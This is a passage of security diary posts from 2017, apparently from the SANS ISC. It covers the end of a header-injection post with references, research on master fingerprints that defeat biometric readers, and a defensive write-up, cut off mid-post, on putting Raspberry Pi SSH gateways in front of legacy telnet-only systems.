The Top-10 OWASP project keeps “injection” (of any kind) as the first security issue since 2010[5]. They also have a project called “Secure Headers Project” which address this problem[6]. To resume, never trust data coming from the client side!

[1] https://packetstormsecurity.com/files/94305/UA-Tester-User-Agent-Tester-1.03.html
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033
[4] https://www.exploit-db.com/exploits/34896/
[5] https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010%20-%202017%20RC1-English.pdf
[6] https://www.owasp.org/index.php/OWASP_Secure_Headers_Project

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

0 Comments

Published: 2017-05-04

The Quest for the Universal Fingerprint

Gebhard pointed us to an article at Heise, which reports that researchers are working towards a "universal fingerprint" - a master pattern (or small number of master patterns) that ring enough bells to unlock any of today's fingerprint readers.  They are currently have an approach that takes partial impressions and combines them until it "matches enough" to unlock a phone (or otherwise match a biometric reader) - essentially a dictionary attack against your fingerprint.   They are currently at a 65% success rate, but of course that can only get better. 

Their advice?  Get better readers (that can read depth of fingerprint patterns, add in heartbeat sensors etc), or combine multiple authentication mechanisms if your plan needs to account for attacks of this type.  I'd say nation-state attacks, but this sounds like it's something anyone who's reasonably funded and motivated could take on, especially after the research is formally published.

Add this to the well-known fact that once compromised, you cannot revoke your fingerprints, or change them either.  If a successful and simple fingerprint attack is possible, either we need to look at better fingerprint readers going forward, or this takes fingerprint authentication off the table entirely.

References:

https://www.heise.de/newsticker/meldung/Mit-Master-Fingerabdruck-Zugriff-auf-fremde-Smartphones-bekommen-3702411.html
https://www.heise.de/tr/artikel/Kuenstlicher-Fingerabdruck-entsperrt-fremde-Smartphones-3697183.html

===============
Rob VandenBrink
Compugen

2 Comments

Published: 2017-05-04

Migrating Telnet to SSH without Migrating

I recently had a security assessment / internal pentest project, and one of the findings was "I found an AS/400 running telnet services" (actually unencrypted tn5250, but it comes to the same thing)
The client's response was that this host was up for history purposes only, it was not longer production system.  So it was only used occassionally when they needed transaction history from before their migration to the current system.  Which doesn't really address risk around their client's information on that host.

We've all been there.  We've found a telnet service that should be migrated to SSH, but the affected device either doesn't support SSH, or the client for one reason or another can't put resources into enabling encrypted services.  In the case of the AS400 above, they'd need to do an OS update, which would require an application update to an app they had retired, on a system that isn't production anymore.

We see this in legacy systems, but in Industrial Control Systems (ICS) that control factories, water or hydro utilities we see this all the time in production - and the answer there is "the gear doesn't support ssh, and in some cases doesn't support credentials".  In ICS systems in particular, gear like this is often on the same 5,7 or 10 year depreciation cycle as might be seen on an industrial press or other manufacturing equipment, so upgrades are really a long-term thing, there are no quick fixes.  Even finding where all the vulnerable gear is (physically, not on the network) can be a challenge

So what to do?

In some cases, I've front-ended the problem child gear with a cheap SSH gateway.  A Raspberry Pi does  a decent job here for less than $100 per node. The Pi runs "real" linux, so you can secure it.  The solution looks like this:

 

Physically, it looks like this - often we'll just velcro the Pi to the host it's protecting, the "Unencrypted DMZ" ends up being a 1 ft ethernet cable: